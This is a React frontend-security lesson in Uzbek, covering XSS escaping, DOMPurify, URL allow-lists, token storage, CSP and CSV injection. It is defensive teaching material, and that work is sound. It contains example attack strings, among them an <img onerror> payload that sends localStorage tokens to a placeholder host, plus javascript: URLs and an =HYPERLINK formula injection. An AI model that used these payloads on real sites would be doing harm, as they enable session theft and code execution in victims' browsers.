Mundarija (30)
- Bu darsda
- 1. Nega bu kerak?
- 2. React avtomatik ekranlaydi
- 2.1 Jonli tekshiruv
- 2.2 React qayerda himoya qiladi, qayerda yo'q
- 3. dangerouslySetInnerHTML
- 3.1 Qachon kerak
- 3.2 Haqiqiy brauzerda nima bo'ladi
- 3.3 DOMPurify bilan tozalash
- 3.4 ESLint bilan taqiqlash
- 4. URL'lar: javascript:, target="_blank"
- 4.1 javascript: — React 19 to'sadi
- 4.2 target="_blank" va rel
- 5. Brauzerga ketgan hamma narsa — ochiq
- 5.1 Bundle'dagi sirlar
- 5.2 Token qayerda saqlanadi
- 6. CSP va uchinchi tomon skriptlari
- 6.1 CSP — oxirgi qatlam
- 6.2 Uchinchi tomon skriptlari
- 7. Hujumchi nigohi
- 8. Vazifalar qadami: xavfsizlik ko'rigi
- 9. Ko'p uchraydigan xatolar
- 10. Mashqlar
- 1-mashq (oson): xavfsizmi?
- 2-mashq (o'rta): xavfsiz havola komponenti
- 3-mashq (qiyin): <mark> — innerHTML'siz
- 4-mashq: Vazifalar qadami
- 11. Real ishda
- Xulosa
- Manbalar
Frontend xavfsizligi React'da: XSS, dangerouslySetInnerHTML, javascript: URL va token saqlash
Qisqacha: React JSX'dagi har
{matn}ni ekranlaydi — foydalanuvchi yozgan<script>HTML bo'lib emas, matn bo'lib chiqadi. Bu XSS'ning eng katta qismini yopadi. Qolgan teshiklar — React'ni chetlab o'tadigan joylarda:dangerouslySetInnerHTML(faqat DOMPurify kabi tozalagichdan keyin), foydalanuvchi bergan URL (javascript:— React 19hrefda to'sadi, lekinwindow.openda yo'q),reforqaliinnerHTML. Brauzerga ketgan har narsa — ochiq:VITE_o'zgaruvchilarida sir saqlanmaydi. Token —localStorageda emas, iloji bo'lsahttpOnlycookie'da. Va oxirgi qatlam — CSP: kod teshik qolsa ham, begona skript ishlamaydi.
Bu darsda
- React avtomatik ekranlashini jonli ko'rasiz va qaysi joylarda u ishlamasligini bilasiz.
dangerouslySetInnerHTMLni xavfsiz ishlatasiz: DOMPurify bilan va ESLint qoidasi bilan.- Foydalanuvchi URL'ini tekshirasiz:
javascript:,target="_blank"varel. - Bundle'dagi sirlar va token saqlash (
localStoragevahttpOnlycookie) haqida to'g'ri qaror qabul qilasiz. vazifalarning xavfsizlik ko'rigini o'qiysiz: 11 xil XSS sink — 0, CSP, Trusted Types, ta'minot zanjiri.
Oldin bilishingiz kerak: XSS va DOM xavfsizligi, Brauzer xavfsizlik modeli, JSX aslida JavaScript, Vite III: env o'zgaruvchilar.
1. Nega bu kerak?
«Bahor» saytida sharhlar bo'limi bor. Mijoz ismi va sharh matnini yozadi, sayt hammaga ko'rsatadi. Bir kuni sharhlardan biri shunday edi:
Osh zo'r! <img src=x onerror="fetch('https://example.com/o?c='+localStorage.token)">Agar sayt bu matnni HTML sifatida chizsa, har ochgan mijozning brauzeri rasm yuklashga urinadi va xato bo'lganda onerror dagi kodni bajaradi. Kod localStorage dagi tokenni begona serverga yuboradi. Bu — saqlanadigan XSS (stored XSS, XSS va DOM xavfsizligi). Hujumchi endi mijoz nomidan buyurtma beradi.
13-qismda bunga qarshi vanilla JS'da kurashdik: innerHTML o'rniga textContent. React'da yaxshi xabar bor: u buni sizning o'rningizga qiladi. Yomon xabar ham bor: hamma joyda emas.
Hayotiy o'xshatish: bank kassasi oynasi. Pul va hujjat faqat maxsus tirqishdan o'tadi — kassir har narsani ko'rib oladi. React'ning {matn} i — shu tirqish. dangerouslySetInnerHTML esa eshikni ochib, "kiravering" deyish. Nomida "xavfli" so'zi bejiz emas.
2. React avtomatik ekranlaydi
2.1 Jonli tekshiruv
Bir xil matnni uch xil chizamiz va DOM'ga qaraymiz. Hujum matni bu yerda zararsiz: onmouseover faqat sichqoncha ustiga kelganda ishlaydi va faqat konsolga yozadi.
export default function App() {
const comment =
`<b onmouseover="console.log('hujum!')">` + "Osh zo'r</b>";
function check() {
const p = document.querySelector("#jsx").innerHTML;
const div = document.querySelector("#xom").innerHTML;
console.log("JSX:", p);
console.log("dangerously:", div);
}
return (
<div>
<p id="jsx">{comment}</p>
<div id="xom" dangerouslySetInnerHTML={{ __html: comment }} />
<button onClick={check}>Tekshirish</button>
</div>
);
}Konsolda:
JSX: <b onmouseover="console.log('hujum!')">Osh zo'r</b>
dangerously: <b onmouseover="console.log('hujum!')">Osh zo'r</b>Ekranda:
<b onmouseover="console.log('hujum!')">Osh zo'r</b>
Osh zo'r
TekshirishBirinchi qatorda < → <: React matnni matn tuguni sifatida qo'ydi, brauzer uni teg deb o'qimadi. Ekranda hujum kodi oddiy harflar bo'lib ko'rindi — zararsiz. Ikkinchi qatorda — haqiqiy <b> elementi, onmouseover atributi bilan. Natija oynasida "Osh zo'r" ustiga sichqonchani olib boring: konsolda hujum! chiqadi.
2.2 React qayerda himoya qiladi, qayerda yo'q
| Joy | Himoya | Izoh |
|---|---|---|
{matn} — JSX ichida |
ekranlanadi | asosiy himoya |
oddiy atribut: title={matn}, alt={matn} |
atribut qiymati sifatida | |
href={url}, src={url} |
qisman | javascript: — to'siladi (React 19), boshqalari — yo'q |
dangerouslySetInnerHTML |
HTML to'g'ridan-to'g'ri | |
ref.current.innerHTML = … |
React'ni chetlab o'tadi | |
window.open(url), location.href = url |
oddiy JS | |
style={{ background: url }} |
CSS'da url() — ma'lumot sizishi mumkin |
Qoida: React'ning JSX'i ichida — xavfsiz. JSX'dan tashqariga chiqqan har joy — sizning javobgarligingiz.
3. dangerouslySetInnerHTML
3.1 Qachon kerak
Ba'zan HTML haqiqatan kerak: CMS'dan kelgan maqola, markdown'dan yasalgan matn, e-pochta shabloni. Bunday HTML — tashqi ma'lumot, unga ishonib bo'lmaydi. Hatto o'z adminingiz yozgan bo'lsa ham: admin hisobi buzilishi mumkin.
React API'si ataylab noqulay: dangerouslySetInnerHTML={{ __html: … }}. Ikki qavat jingalak qavs va __html — "haqiqatan shunday qilmoqchimisiz?" degan savol.
3.2 Haqiqiy brauzerda nima bo'ladi
Quyidagi blokni saytda ishga tushiring. Bu yerdagi hujum kodi o'zini o'zi ishga tushiradi — sichqonchasiz:
export default function App() {
const bio =
"Salom! " +
`<img src="yoq.png" onerror="console.log('hujum ishladi')">`;
return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}Natija oynasining konsoliga qarang. Brauzer yoq.png ni yuklay olmaydi, onerror ishlaydi — agar sahifaning CSP'si inline ishlovchilarni taqiqlamasa. Bu yerdagi console.log o'rnida fetch(…) bo'lsa — yuqoridagi o'g'irlik. Shu blok tekshiruvchimizning brauzer modelida ishga tushirilmaydi: u rasm yuklamaydi, demak onerror u yerda ishlamaydi.
3.3 DOMPurify bilan tozalash
To'g'ri yo'l — HTML'ni tozalash (sanitizatsiya, XSS va DOM xavfsizligi): xavfsiz teglarni (<b>, <p>, <a href>) qoldirish, xavfli narsalarni (<script>, on* atributlari, javascript:) olib tashlash. Bu ishni o'zingiz regex bilan qilmang — HTML tahlili juda murakkab, aylanib o'tish yo'llari ko'p. Sinalgan kutubxona — DOMPurify:
// o'z loyihangizda: npm i dompurify
import DOMPurify from "dompurify";
function Article({ html }) {
const clean = DOMPurify.sanitize(html);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// DOMPurify.sanitize(`Salom! <img src="yoq.png" onerror="…">`)
// natija: <img> qoladi, onerror atributi olib tashlanadionerror olib tashlandi, rasm qoldi. Uch qoida:
- Tozalash — chizishdan oldin, har safar. Serverda bir marta tozalab saqlash ham yaxshi, lekin brauzerda yana bir marta — qo'shimcha qavat.
- Kerakli teglarni ruxsat ro'yxati bilan bering:
DOMPurify.sanitize(html, { ALLOWED_TAGS: ["b", "i", "p", "a"] }). Kam narsaga ruxsat — kam xavf. - Markdown bo'lsa — HTML'siz yo'l bor. react-markdown matnni to'g'ridan-to'g'ri React elementlariga aylantiradi,
dangerouslySetInnerHTMLumuman kerak emas (Markdown render qilish).
Brauzerning o'z tozalagichi ham paydo bo'lmoqda — element.setHTML() (Sanitizer API, XSS va DOM xavfsizligi darsida ko'rgansiz). Hamma brauzerda bo'lmaguncha DOMPurify — standart tanlov.
3.4 ESLint bilan taqiqlash
Eng yaxshi dangerouslySetInnerHTML — yo'g'i. vazifalar da ESLint uni umuman taqiqlaydi (eslint.config.js, kanondan):
{
// React'dagi innerHTML (17/#02): JSX matnni o'zi ekranlaydi,
// HTML faqat shu atribut orqali kiradi
selector: "JSXAttribute[name.name='dangerouslySetInnerHTML']",
message: "XSS: matnni JSX ichida {matn} qilib yozing.",
},Haqiqatan kerak bo'lgan bitta joy bo'lsa — o'sha qatorda // eslint-disable-next-line no-restricted-syntax va yonida nega xavfsiz ekani (masalan, "DOMPurify bilan tozalangan"). Kod ko'rigida bunday qator darhol ko'zga tashlanadi.
4. URL'lar: javascript:, target="_blank"
4.1 javascript: — React 19 to'sadi
Foydalanuvchi profilida "sayt" maydoni bor. Hujumchi u yerga javascript:fetch(…) yozadi. <a href={site}> bosilsa — kod ishlaydi. React 19 buni href va src da to'sadi:
export default function App() {
const site = "javascript:alert('hujum')";
function check() {
const href = document.querySelector("a").getAttribute("href");
console.log("href:", href);
}
return (
<p>
<a href={site}>Mijoz sayti</a>{" "}
<button onClick={check}>Tekshirish</button>
</p>
);
}Konsolda:
href: javascript:throw new Error('React has blocked a javascript: URL as a security precaution.')Ekranda:
Mijoz sayti TekshirishReact qiymatni almashtirdi: havola bosilsa, endi faqat xato tashlaydi — "React xavfsizlik uchun javascript: URL'ni to'sdi". Bu yaxshi, lekin bunga tayanmang:
window.open(site),location.href = site— React'dan tashqarida, himoya yo'q.data:text/html,…— React to'smaydi, ba'zi holatlarda xavfli.- Ochiq yo'naltirish (open redirect):
https://yomon.example.com— protokol to'g'ri, lekin manzil firibgar sayt.
To'g'ri yo'l — ruxsat ro'yxati (URL va URLSearchParams):
function safeUrl(value) {
try {
const url = new URL(value, "https://example.com");
return ["https:", "http:", "mailto:"].includes(url.protocol)
? url.href
: null;
} catch {
return null;
}
}
console.log(safeUrl("https://example.com")); // https://example.com/
console.log(safeUrl("javascript:alert(1)")); // null
console.log(safeUrl("JaVaScRiPt:alert(1)")); // null
console.log(safeUrl("mailto:ali@example.com"));
// mailto:ali@example.comnew URL protokolni kichik harfga keltiradi — JaVaScRiPt: kabi aylanib o'tish ishlamaydi. Oddiy value.startsWith("javascript:") tekshiruvi esa katta harf hiylasi va boshidagi bo'shliqlar bilan aylanib o'tiladi.
4.2 target="_blank" va rel
Yangi tabda ochiladigan havola: <a href={url} target="_blank">. Eski brauzerlarda yangi sahifa window.opener orqali sizning sahifangizni boshqara olardi — masalan, uni soxta login sahifasiga almashtirardi (tabnabbing). Zamonaviy brauzerlar target="_blank" uchun noopener ni avtomatik qo'llaydi. Baribir rel yozish odati qolgan va foydali:
<a href={url} target="_blank" rel="noopener noreferrer">
Hamkor sayti
</a>noopener—window.opener=null(eski brauzerlar uchun ham).noreferrer— yangi saytga qaysi sahifadan kelganingiz (Referersarlavhasi) yuborilmaydi. Masalan, URL'da buyurtma id'si bo'lsa — u begona serverga ketmaydi.
vazifalar da target="_blank" umuman yo'q — ko'rik buni ham tekshirdi.
Tekshirib ko'ring: React 19
javascript:nihrefda to'sar ekan,safeUrlfunksiyasi nega baribir kerak?
Javob
Uch sabab. (1) URL faqat href ga emas, window.open, location.href, fetch ga ham ketadi — u yerda React yo'q. (2) React faqat javascript: ni to'sadi, data: va begona domenlarni emas. (3) Himoya "framework xulqi"ga emas, o'z kodingizga tayanishi kerak: React keyingi versiyada boshqacha qilsa yoki kod React'siz joyga ko'chsa — himoya qolsin. Bu "chuqur himoya" (defense in depth) g'oyasi.
5. Brauzerga ketgan hamma narsa — ochiq
5.1 Bundle'dagi sirlar
Vite'da VITE_ bilan boshlanadigan o'zgaruvchilar build paytida kodga yoziladi (Vite III: env). .env dagi:
VITE_API_URL=https://example.com/api
VITE_MAP_KEY=sk_live_51H… # ❌ sir — bundle'ga tushadiBuild'dan keyin dist/assets/index-….js da "sk_live_51H…" ochiq turadi. Har mijoz DevTools → Sources'da uni ko'radi. "Minifikatsiya yashiradi" — yo'q: kalit satr sifatida o'zgarmay qoladi. Qoida:
- Ochiq kalitlar (xarita API'sining "publishable" kaliti, Sentry DSN, analitika id'si) — mumkin. Ular brauzer uchun mo'ljallangan va domen bilan cheklanadi.
- Maxfiy kalitlar (to'lov tizimi, AI API, ma'lumotlar bazasi paroli) — hech qachon frontend'da. Ular serverda turadi, brauzer server orqali so'raydi (Sirlarni boshqarish).
Tekshirish oson: npm run build, keyin dist/ da qidiring (grep -r "sk_live" dist). Source map'lar ham ochiq bo'lishi mumkin (Source map'lar) — ular asl kodingizni ko'rsatadi.
5.2 Token qayerda saqlanadi
Login bo'lgach server token beradi. Uni qayerda saqlash — frontend xavfsizligining eng ko'p munozara qilinadigan savoli:
| Joy | XSS o'qiy oladimi | CSRF xavfi | Izoh |
|---|---|---|---|
localStorage |
ha — localStorage.token |
yo'q | oddiy, lekin XSS bo'lsa — token ketadi |
| xotira (JS o'zgaruvchi) | ha, lekin qiyinroq | yo'q | sahifa yangilansa — yo'qoladi |
httpOnly cookie |
yo'q | bor → SameSite bilan yopiladi |
JS umuman ko'rmaydi |
«Nega bu kerak?» bo'limidagi hujum localStorage.token ni o'qidi. httpOnly cookie'ni JS umuman o'qiy olmaydi — brauzer uni faqat so'rov bilan serverga o'zi yuboradi (Cookie'lar JS'dan). Shuning uchun zamonaviy tavsiya: sessiya yoki refresh token — httpOnly; Secure; SameSite=Lax cookie'da. Bu bilan XSS butunlay yo'qolmaydi: hujumchi sahifa ichidan so'rov yubora oladi. Lekin tokenni olib ketolmaydi — xavf sahifa yopilishi bilan tugaydi.
Batafsil va server tomoni — 28-qismda (Tokenni qayerda saqlash va CSRF). vazifalar da token yo'q: keyingi darsdagi soxta kirish faqat ism saqlaydi, parol va token hech qayerda yo'q.
6. CSP va uchinchi tomon skriptlari
6.1 CSP — oxirgi qatlam
Kodda teshik qoldi deylik — dangerouslySetInnerHTML tozalashsiz. CSP (Content Security Policy, Brauzer xavfsizlik modeli) brauzerga aytadi: "faqat shu manbalardan skript ishga tushir". Inline onerror="…" va <script>alert</script> — taqiqlangan, chunki ular sahifaning o'zida, ruxsat etilgan fayldan emas. Himoya qavatlarini diagrammada ko'ring:
flowchart TD
U["Foydalanuvchi matni"] --> J{"JSX {matn}?"}
J -- "ha" --> S["Ekranlandi: xavfsiz"]
J -- "yo'q: HTML kerak" --> P["DOMPurify: tozalash"]
P --> D["dangerouslySetInnerHTML"]
D --> C{"CSP: inline skript?"}
C -- "taqiqlangan" --> B["Brauzer bajarmaydi"]
C -- "ruxsat: unsafe-inline" --> X["XSS ishladi"]Diagrammadagi yagona xavfli yo'l uchta xatoni talab qiladi: JSX'dan chiqish, tozalamaslik va CSP'da 'unsafe-inline'. Har qavat boshqasining xatosini yopadi.
vazifalar ning CSP'si (index.html dagi meta va vercel.json sarlavhasi bir xil, faqat frame-ancestors sarlavhada):
default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self'; connect-src 'self' https://ilmhamroh.uz; manifest-src 'self'; worker-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self'; frame-ancestors 'none'; require-trusted-types-for 'script'; trusted-types vazifalarscript-src 'self' — faqat o'z saytimizdagi fayllar, inline yo'q. require-trusted-types-for 'script' — Trusted Types: innerHTML ga oddiy satr berish brauzerning o'zida TypeError beradi, faqat ruxsat etilgan siyosatdan o'tgan qiymat qabul qilinadi. Bunday CSP'da dangerouslySetInnerHTML ga tozalanmagan satr berilsa — brauzer uni rad etadi. CSP chuqur — 35-qismda (Content Security Policy chuqur).
6.2 Uchinchi tomon skriptlari
Analitika, onlayn chat, reklama piksellari — <script src="https://begona-servis…">. Bunday skript sizning sahifangizda sizning huquqlaringiz bilan ishlaydi: DOM'ni o'qiydi, formadagi matnni ko'radi, localStorage ga yetadi. Servis buzilsa — sizning saytingiz ham buzilgan. Himoya choralari:
- Kerakmi? Har skript — xavf va yuklash vaqti. Eng xavfsiz skript — qo'shilmagani.
- SRI (Subresource Integrity) —
<script src="…" integrity="sha384-…" crossorigin>: fayl o'zgarsa, brauzer uni bajarmaydi. Versiyasi qotirilgan CDN fayllari uchun. - CSP ruxsat ro'yxati —
script-src 'self' https://analitika.example.com: faqat aniq domen. - npm paketlari ham "uchinchi tomon" — ta'minot zanjiri (Ta'minot zanjiri xavfsizligi):
npm audit, o'rnatishda skript ishga tushiradigan paketlar.
7. Hujumchi nigohi
Hujumchi React ilovasini qanday "teshadi"? Uning ro'yxati va bizning javob:
| Hujumchi urinadi | Qanday | Himoya |
|---|---|---|
sharhda <script>, <img onerror> |
stored XSS | JSX ekranlaydi; HTML kerak bo'lsa — DOMPurify |
profil "sayt"ida javascript: |
bosilganda kod | React 19 to'sadi + safeUrl ruxsat ro'yxati |
URL parametrida ?next=https://yomon… |
open redirect | yo'naltirishda faqat o'z domeni |
| DevTools'da bundle'ni o'qish | kalit qidirish | sir frontend'da yo'q |
XSS bilan localStorage.token |
token o'g'irlash | httpOnly cookie |
CSV eksportida =HYPERLINK(…) |
Excel'da formula bajariladi | =, +, -, @ oldiga ' |
| buzilgan npm paket | ta'minot zanjiri | npm audit, lock fayl, kam paket |
Oxirgidan oldingi qator kutilmagan ko'rinishi mumkin, lekin real: "CSV injection". Foydalanuvchi vazifa matniga =HYPERLINK("https://…","bosing") yozadi. Boshqa odam eksportni Excel'da ochadi — formula ishlaydi. vazifalar dagi CSV eksporti buni yopgan (Headless komponentlar qadamida): =, +, -, @ (yoki tab) bilan boshlangan katak oldiga ' qo'yiladi, Excel uni matn deb biladi.
8. Vazifalar qadami: xavfsizlik ko'rigi
Bu darsda vazifalar kodi o'zgarmaydi — ko'rik hech qanday tuzatish talab qilmadi. Shuning uchun bu qadam emas, o'lchov (xuddi StrictMode chuqur kabi). Kanon holat 40 da ko'rik o'tkazdi (natijalar/41-xavfsizlik.txt). Qisqasi:
1. XSS sink'lari — src/ da 11 xil qidiruv:
dangerouslySetInnerHTML: 0 qator (izohlarsiz: 0)
innerHTML: 0 qator (izohlarsiz: 0)
outerHTML: 0 qator (izohlarsiz: 0)
insertAdjacentHTML: 0 qator (izohlarsiz: 0)
document.write: 0 qator (izohlarsiz: 0)
eval(: 0 qator (izohlarsiz: 0)
new Function: 0 qator (izohlarsiz: 0)
javascript:: 0 qator (izohlarsiz: 0)
target="_blank": 0 qator (izohlarsiz: 0)
setAttribute("href: 0 qator (izohlarsiz: 0)
srcdoc: 0 qator (izohlarsiz: 0)Sink (cho'kma) — matn HTML yoki kod bo'lib bajarilishi mumkin bo'lgan joy. Hammasi — 0.
2. ESLint haqiqatan ushlaydimi? Vaqtinchalik faylda innerHTML = … va dangerouslySetInnerHTML yozildi — npm run lint 3 ta xato berdi, ikkitasi bizning XSS qoidalarimizdan: XSS: innerHTML/outerHTML o'rniga textContent yoki createElement va XSS: matnni JSX ichida {matn} qilib yozing. Qoida bor-yo'qligini emas, ishlashini tekshirish — muhim farq.
3. Bundle'da sirlar (dist/): VITE_API_URL — 1 fayl (ochiq, kerak). Dev serverdagi API_PROXY — 0 (brauzerga chiqmadi). parol, secret, token, apiKey, Bearer — 0. password — 1 fayl, lekin tekshirildi: bu react-dom ichidagi input turlari ro'yxati (password:!0,range:!0,…), sir emas. Avtomatik qidiruv natijasini qo'lda ko'rish ham — ishning bir qismi.
4. Trusted Types — siyosat oq ro'yxatda faqat sw.js va shu saytdagi assets/*.js. E2e: oddiy satr bilan new Worker — TypeError, boshqa nomli siyosat — TypeError, blob: ishchi — TypeError.
5. CSP — meta va vercel.json bir xil (farqi faqat frame-ancestors, u meta'da ishlamaydi).
6. Ta'minot zanjiri — npm audit: found 0 vulnerabilities, o'rnatishda skript ishlatadigan paket — 0, runtime bog'liqliklari faqat uchta: react@19.3.0, react-dom@19.3.0, web-vitals@6.2.3.
7. Boshqa — CSV formula injection himoyasi (node testi bilan), tashqi ma'lumot (boshqa tab, localStorage, import fayli, server javobi) — unknown sifatida olinib tekshiriladi (API ma'lumotlarini tiplash). Source map'lar ochiq — 16-qismdagi qaror: repo ochiq, sir yo'q.
Bitta talab keyingi darsga o'tadi: "parol va token localStorage da yo'q". Soxta kirish qo'shilgach, e2e buni tekshiradi: input[type=password] — 0, saqlanadigan narsa faqat ism.
9. Ko'p uchraydigan xatolar
| Belgi | Sabab | Davosi |
|---|---|---|
| sharhdagi HTML "ishlab ketdi" | dangerouslySetInnerHTML tozalashsiz |
JSX {matn} yoki DOMPurify |
React has blocked a javascript: URL |
foydalanuvchi URL'i tekshirilmagan | safeUrl ruxsat ro'yxati |
| API kalit DevTools'da ko'rindi | VITE_ o'zgaruvchida sir |
kalit serverda, frontend — server orqali |
| XSS'dan keyin hisob o'g'irlandi | token localStorage da |
httpOnly cookie |
<b> kabi matnni regex bilan tozalash |
aylanib o'tiladi | DOMPurify |
| CSP qo'shildi — sayt buzildi | inline skript/stil | fayllarga ko'chiring; 'unsafe-inline' emas |
| Excel'da formula ishladi | CSV injection | =, +, -, @ oldiga ' |
10. Mashqlar
Mashqlar kurs/mashqlar/18/41-xavfsizlik/ da.
1-mashq (oson): xavfsizmi?
user.name — foydalanuvchi yozgan matn. ha (xavfsiz) yoki yo'q:
<p>{user.name}</p><div dangerouslySetInnerHTML={{ __html: user.name }} /><img alt={user.name} src="/osh.webp" />window.open(user.site)(tekshiruvsiz)
Yechim
- ha — JSX matnni ekranlaydi.
- yo'q — HTML to'g'ridan-to'g'ri DOM'ga.
- ha — atribut qiymati sifatida;
"ham ekranlanadi, atributdan "chiqib ketib" bo'lmaydi. - yo'q —
window.openReact emas,javascript:va begona domen o'tadi.
2-mashq (o'rta): xavfsiz havola komponenti
SafeLink({ href, children }): href faqat https:, http: yoki mailto: bo'lsa — <a> (http(s) bo'lsa — target="_blank" va rel="noopener noreferrer"). Aks holda — oddiy <span> (havolasiz) va konsolga rad etildi: + qiymat. Ishora: «javascript: — React 19 to'sadi» bo'limidagi safeUrl.
Yechim
function safeUrl(value) {
try {
const url = new URL(value, "https://example.com");
return ["https:", "http:", "mailto:"].includes(url.protocol)
? url
: null;
} catch {
return null;
}
}
function SafeLink({ href, children }) {
const url = safeUrl(href);
if (url === null) {
console.log("rad etildi:", href);
return <span>{children}</span>;
}
const external = url.protocol !== "mailto:";
return (
<a
href={url.href}
target={external ? "_blank" : undefined}
rel={external ? "noopener noreferrer" : undefined}
>
{children}
</a>
);
}
export default function App() {
return (
<ul>
<li>
<SafeLink href="https://example.com/menyu">Menyu</SafeLink>
</li>
<li>
<SafeLink href="mailto:ali@example.com">Yozish</SafeLink>
</li>
<li>
<SafeLink href="JavaScript:alert(1)">Sovg'a!</SafeLink>
</li>
</ul>
);
}Konsolda:
rad etildi: JavaScript:alert(1)Ekranda:
Menyu
Yozish
Sovg'a!Uchinchi element — <span>, havola emas: bosilsa hech narsa bo'lmaydi. new URL protokolni kichik harfga keltirdi, shuning uchun JavaScript: ham ushlandi. Nisbiy manzil (/menyu) ham ishlaydi — new URL ning ikkinchi argumenti asos bo'ladi. Haqiqiy loyihada asos — location.origin.
3-mashq (qiyin): <mark> — innerHTML'siz
Qidiruv so'zini matnda <mark> bilan ajrating. Sardorning yechimi — text.replaceAll(q, "<mark>" + q + "</mark>") va dangerouslySetInnerHTML. Nega bu XSS? Xavfsiz variantini yozing: matnni bo'laklarga bo'lib, mos bo'laklarni JSX <mark> ga o'rang. Matn: Osh <b>yangi</b> — osh zo'r, so'z: osh (katta-kichik harf farqsiz). Ishora: toLowerCase() va indexOf bilan sikl (satr metodlari); vazifalar dagi BelgilanganMatn — xuddi shu yondashuv.
Yechim
function Highlight({ text, query }) {
const parts = [];
const lower = text.toLowerCase();
const q = query.toLowerCase();
let pos = 0;
let found = lower.indexOf(q, pos);
while (q !== "" && found !== -1) {
parts.push(text.slice(pos, found));
const end = found + q.length;
parts.push(<mark key={found}>{text.slice(found, end)}</mark>);
pos = end;
found = lower.indexOf(q, pos);
}
parts.push(text.slice(pos));
return <p>{parts}</p>;
}
export default function App() {
return <Highlight text="Osh <b>yangi</b> — osh zo'r" query="osh" />;
}Ekranda:
Osh <b>yangi</b> — osh zo'rEkranda <b> — oddiy harflar, chunki har bo'lak JSX'da {…} orqali chizildi. Ikki "osh" — <mark> ichida (ekran matnida belgilash ko'rinmaydi, lekin DOM'da bor). Sardorning varianti nega xavfli: text ham, q ham foydalanuvchidan — ikkalasi ham HTML sifatida DOM'ga tushardi. Matnda <img onerror> bo'lsa — XSS. Bundan tashqari, replaceAll HTML teglari ichidagi mosliklarni ham almashtirib, belgilashni buzardi.
4-mashq: Vazifalar qadami
O'z vazifalar ingizda ko'rik o'tkazing: (1) src/ da XSS sink'larini qidiring (grep -rn "innerHTML\|dangerouslySetInnerHTML\|eval(" src); (2) vaqtinchalik faylda dangerouslySetInnerHTML yozib, npm run lint ushlashini tekshiring, faylni o'chiring; (3) npm run build dan keyin dist/ da token, secret, apiKey ni qidiring; (4) npm audit.
Yechim
- (1) — 0 qator (kanon ko'rigidagidek).
- (2) —
XSS: matnni JSX ichida {matn} qilib yozing no-restricted-syntaxxatosi. Fayl o'chirilgach — lint toza. - (3) — topilmasligi kerak.
passwordtopilsa — kontekstini ko'ring (react-dom ichidagi input turlari ro'yxati). - (4) —
found 0 vulnerabilities. Kod o'zgarmadi — commit yo'q.
11. Real ishda
- Kod ko'rigi —
dangerouslySetInnerHTML,innerHTML,eval,window.open(userInput)ko'rinsa — darhol savol. Ko'p jamoalar ularni ESLint bilan taqiqlaydi (vazifalardagidek). - SAST vositalari (Semgrep, CodeQL, GitHub code scanning) — shu sink'larni avtomatik qidiradi (Xavfsizlik testlari).
- Bug bounty — XSS eng ko'p to'lanadigan topilmalardan biri. React ilovalarida u deyarli doim
dangerouslySetInnerHTMLyoki URL'da topiladi. - Intervyu savollari: "React XSS'dan qanday himoya qiladi?", "
dangerouslySetInnerHTMLni qachon va qanday ishlatasiz?", "tokenni qayerda saqlaysiz va nega?", "CSP nima beradi?".
Xulosa
- React JSX'dagi
{matn}ni ekranlaydi — XSS'ning asosiy himoyasi; JSX'dan tashqari joylar — sizning javobgarligingiz. dangerouslySetInnerHTML— faqat DOMPurify'dan keyin, yaxshisi — umuman yo'q (ESLint bilan taqiq).- URL — ruxsat ro'yxati (
new URL+ protokol); React 19javascript:nihrefda to'sadi, lekinwindow.openda yo'q. Yangi tab —rel="noopener noreferrer". - Bundle ochiq:
VITE_da sir yo'q. Token —httpOnlycookie'da,localStorageda emas. - CSP + Trusted Types — oxirgi qatlam; uchinchi tomon skriptlari — sizning huquqingiz bilan ishlaydi.
vazifalar: 11 sink — 0, ESLint ishlaydi, bundle'da sir yo'q,npm audit0, CSV injection yopilgan.
Keyingi dars: React'da auth holati — AuthContext, himoyalangan UI va barcha tablarda chiqish (soxta kirish bilan).
Manbalar
- React:
dangerouslySetInnerHTML,javascript:URL'lar — react.dev/reference/react-dom/components/common (2026-10 holatiga, React 19.3) - OWASP: Cross Site Scripting Prevention Cheat Sheet — cheatsheetseries.owasp.org
- OWASP: CSV Injection — owasp.org/www-community/attacks/CSV_Injection
- DOMPurify — github.com/cure53/DOMPurify
- MDN: Content Security Policy, Trusted Types API — developer.mozilla.org
Izohlar (0)
Izoh yozish uchun kiring.
- Hozircha izoh yo'q. Birinchi bo'ling!